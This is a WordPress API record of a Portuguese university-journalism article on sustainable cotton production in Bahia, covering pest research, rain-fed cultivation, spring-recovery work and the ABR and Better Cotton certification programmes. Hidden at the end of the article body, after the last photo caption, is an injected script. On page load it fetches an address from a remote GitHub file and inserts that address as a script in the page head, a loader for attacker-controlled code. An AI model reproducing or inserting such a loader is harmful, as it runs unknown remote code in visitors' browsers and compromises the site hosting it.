{"id":284,"date":"2022-09-16T16:43:13","date_gmt":"2022-09-16T19:43:13","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=284"},"modified":"2024-10-07T15:26:03","modified_gmt":"2024-10-07T18:26:03","slug":"a-importancia-das-pesquisas-e-tecnologias-na-producao-algodoeira-sustentavel","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=284","title":{"rendered":"A import\u00e2ncia das pesquisas e tecnologias na produ\u00e7\u00e3o algodoeira sustent\u00e1vel"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-286 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Campo de algod\u00e3o em Lu\u00eds Eduardo Magalh\u00e3es. Foto ABAPA.<\/p>\n<p>A associa\u00e7\u00e3o baiana dos produtores de algod\u00e3o (ABAPA) tem como um de seus pilares, a <strong>sustentabilidade <\/strong>e desde de sua funda\u00e7\u00e3o vem investindo em pesquisas e tecnologias com intuito de melhorar a produ\u00e7\u00e3o do algod\u00e3o de forma a ser produzido de maneira respons\u00e1vel e justa para com o meio ambiente. Como explicou o presidente da Abrapa, Julio Cezar Busato.<\/p>\n<p>Desde o in\u00edcio da produ\u00e7\u00e3o de algod\u00e3o no Brasil as safras sofreram bastante com algumas doen\u00e7as e pragas, chegando at\u00e9 ser devastada toda a produ\u00e7\u00e3o nacional, muito por culpa de um besouro conhecido como bicudo-do-algodoeiro, como explicou o representante da Embrapa Fabiano Perina. E desde ent\u00e3o o papel das pesquisas ganharam enorme import\u00e2ncia na produ\u00e7\u00e3o do algod\u00e3o, para encontrar formas de combater as pragas mantendo a qualidade do algod\u00e3o brasileiro que est\u00e1 entre as melhores fibras produzidas do mundo.<\/p>\n<p>O processo de pesquisa se faz a partir de tr\u00eas pontos.<strong> Passado:<\/strong> Solu\u00e7\u00f5es tecnol\u00f3gicas criadas, li\u00e7\u00f5es aprendidas. <strong>Futuro:<\/strong> Tentativas sistem\u00e1ticas de antever condi\u00e7\u00f5es futuras, criam no <strong>Presente<\/strong>, perspectivas estrategicamente bem direcionadas. Uma das principais evolu\u00e7\u00f5es das safras foi o aumento da produ\u00e7\u00e3o sem a necessidade de aumentar a \u00e1rea plantada, visando maior sustentabilidade e respeitando os 35% de toda \u00e1rea destinada \u00e0 reserva florestal.<\/p>\n<p>Outro ponto onde o Brasil se destaca \u00e9 sua produ\u00e7\u00e3o cerqueira onde 92% do algod\u00e3o \u00e9 produzido com \u00e1gua da chuva, a fim de compara\u00e7\u00e3o, os Estados Unidos, principal concorrente do Brasil, tem quase 100% do seu algod\u00e3o produzido por meio de irriga\u00e7\u00e3o. Em entrevista exclusiva com o T\u00e9cnico Agr\u00edcola Marcelo Andrade, ele explica um pouco sobre a estrat\u00e9gia utilizada quando falta chuva na regi\u00e3o.<\/p>\n<p>\u201cTodos os nossos po\u00e7os t\u00eam um monitoramento de quantidade de hora ligado e do n\u00edvel do reservat\u00f3rio, em quest\u00e3o do manejo da \u00e1gua, quando est\u00e1 irrigando eu sempre venho a campo monitorar a quest\u00e3o do solo e o quanto ele est\u00e1 precisando de \u00e1gua. Al\u00e9m de que tamb\u00e9m tem algumas empresas que vem auxiliar a gente nessa gest\u00e3o, eles avaliam quanto de \u00e1gua tem no solo e contabiliza isso em cima da energia el\u00e9trica e a gente fica estudando o quanto deve ou n\u00e3o irrigar\u201d, explica o t\u00e9cnico agr\u00edcola ap\u00f3s ser perguntado quais s\u00e3o as estrat\u00e9gias usadas quando necess\u00e1rio irrigar de forma a n\u00e3o desperdi\u00e7ar \u00e1gua.<\/p>\n<h4>A qualidade do algod\u00e3o baiano<\/h4>\n<p>A Bahia \u00e9 um dos grandes p\u00f3los agr\u00edcolas gra\u00e7as \u00e0s nascentes que temos aqui, e em 2017, a Abapa criou um programa voltado para essas nascentes o \u201cIdentifica\u00e7\u00e3o, Preserva\u00e7\u00e3o e Recupera\u00e7\u00e3o de Nascentes\u201d desenvolvido pelos produtores rurais do Oeste da Bahia. Esse programa vem realizando diversas a\u00e7\u00f5es de interven\u00e7\u00e3o para a conserva\u00e7\u00e3o e recupera\u00e7\u00e3o da vegeta\u00e7\u00e3o em \u201c\u00c1reas de Preserva\u00e7\u00e3o Permanente\u201d (APP&#8217;s), no entorno de nascentes, veredas\u00a0 e margens dos cursos d\u2019\u00e1gua, em nove munic\u00edpios da Regi\u00e3o Oeste da Bahia.<\/p>\n<p>Em quatro anos, o projeto j\u00e1 identificou 220 nascentes pass\u00edveis de\u00a0 interven\u00e7\u00f5es de preserva\u00e7\u00e3o ou recupera\u00e7\u00e3o, 92 minadouros j\u00e1 passaram\u00a0 por diagn\u00f3stico t\u00e9cnico e, em 63 j\u00e1 foram executadas a\u00e7\u00f5es, com recursos da Abapa e IBA (Instituto Brasileiro de Atu\u00e1ria) em parceria com a Associa\u00e7\u00e3o de Agricultores e Irrigantes da Bahia (Aiba) e munic\u00edpios da regi\u00e3o. Em mar\u00e7o de 2021 o programa foi premiado pela Ag\u00eancia Nacional de \u00c1guas e Saneamento B\u00e1sico (ANA), na categoria Organiza\u00e7\u00f5es Civis.<\/p>\n<p>O pr\u00eamio da ANA busca reconhecer iniciativas que se destaquem pela excel\u00eancia de sua contribui\u00e7\u00e3o para a promo\u00e7\u00e3o da seguran\u00e7a h\u00eddrica, da gest\u00e3o e do uso sustent\u00e1vel dos recursos h\u00eddricos para o desenvolvimento sustent\u00e1vel. A Abapa conta com tr\u00eas programas de sustentabilidade do algod\u00e3o brasileiro, sendo eles:<\/p>\n<p>&nbsp;<\/p>\n<h4>Algod\u00e3o Brasileiro Respons\u00e1vel<\/h4>\n<p>Programa Algod\u00e3o Brasileiro Respons\u00e1vel (<strong>ABR<\/strong>) &#8211; Certifica\u00e7\u00e3o Brasileira para unidades produtivas de algod\u00e3o, cujo o protocolo de 183 itens (sendo 51 a quantidade de Crit\u00e9rios M\u00ednimos de Produ\u00e7\u00e3o) e o Programa Algod\u00e3o Brasileiro Respons\u00e1vel para Unidades de Beneficiamento de Algod\u00e3o (<strong>ABR-UBA<\/strong>) -Certifica\u00e7\u00e3o brasileira para algodoeiras, cujo o protocolo de 165 itens (sendo 16 a quantidade de Crit\u00e9rios M\u00ednimos de Produ\u00e7\u00e3o) atende:<\/p>\n<p><strong>\u00a0<\/strong>31 itens sobre o contrato de trabalho<\/p>\n<p>2 itens sobre proibi\u00e7\u00e3o de trabalho infantil<\/p>\n<p>3 itens sobre proibi\u00e7\u00e3o do trabalho an\u00e1logo a escravo, indigno ou degradante<\/p>\n<p>4 itens sobre liberdade de associa\u00e7\u00e3o sindical<\/p>\n<p>2 itens sobre proibi\u00e7\u00e3o de discrimina\u00e7ao de pessoas<\/p>\n<p>109 itens sobre seguran\u00e7a, sa\u00fade e meio ambiente do trabalho rural<\/p>\n<p>11 itens sobre desempenho ambiental<\/p>\n<p>21 itens sobre boas pr\u00e1ticas agr\u00edcolas e industriais<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-287 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1024x682.jpeg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-1024x682.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-300x200.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-768x512.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-264x175.jpeg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29-570x380.jpeg 570w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.15.29.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Laborat\u00f3rio de an\u00e1lise da fibra do algod\u00e3o. Foto ABAPA<\/p>\n<p>Os crit\u00e9rios ambientais e boas pr\u00e1ticas agr\u00edcolas est\u00e3o 100% de acordo com o C\u00f3digo Florestal Brasileiro, e inclui todas as fazendas certificadas, que s\u00e3o cadastradas no Cadastro Ambiental Rural do Minist\u00e9rio do Meio Ambiente. Em todas as fazendas certificadas, os mapeamentos e as documenta\u00e7\u00f5es ligadas \u00e0 quest\u00e3o ambiental s\u00e3o conferidas.<\/p>\n<p>Por \u00faltimo o Programa <strong>Better Cotton<\/strong> &#8211; Certifica\u00e7\u00e3o internacional da cadeia produtiva do algod\u00e3o, presente em 23 pa\u00edses do mundo cujo o protocolo cont\u00e9m 51 itens a serem seguidos<\/p>\n<p>Outro grande avan\u00e7o das pesquisas foi em rela\u00e7\u00e3o \u00e0 sa\u00fade do solo, com foco na parte biol\u00f3gica al\u00e9m da qu\u00edmica e f\u00edsica, tanto no manejo da planta\u00e7\u00e3o quanto no controle contra pragas. Com a utiliza\u00e7\u00e3o de drones facilita a pulveriza\u00e7\u00e3o a\u00e9rea e aplica\u00e7\u00e3o de qu\u00edmicos e defensivos, aplicando a dosagem correta para cada \u00e1rea necessitada.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-295 img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.40.29.jpeg\" alt=\"\" width=\"1019\" height=\"751\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.40.29.jpeg 411w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.40.29-300x221.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-16.40.29-237x175.jpeg 237w\" sizes=\"auto, (max-width: 1019px) 100vw, 1019px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Foto de experimentos e melhoramento do solo. Foto: Fabiano Perina.<\/p>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Campo de algod\u00e3o em Lu\u00eds Eduardo Magalh\u00e3es. Foto ABAPA. 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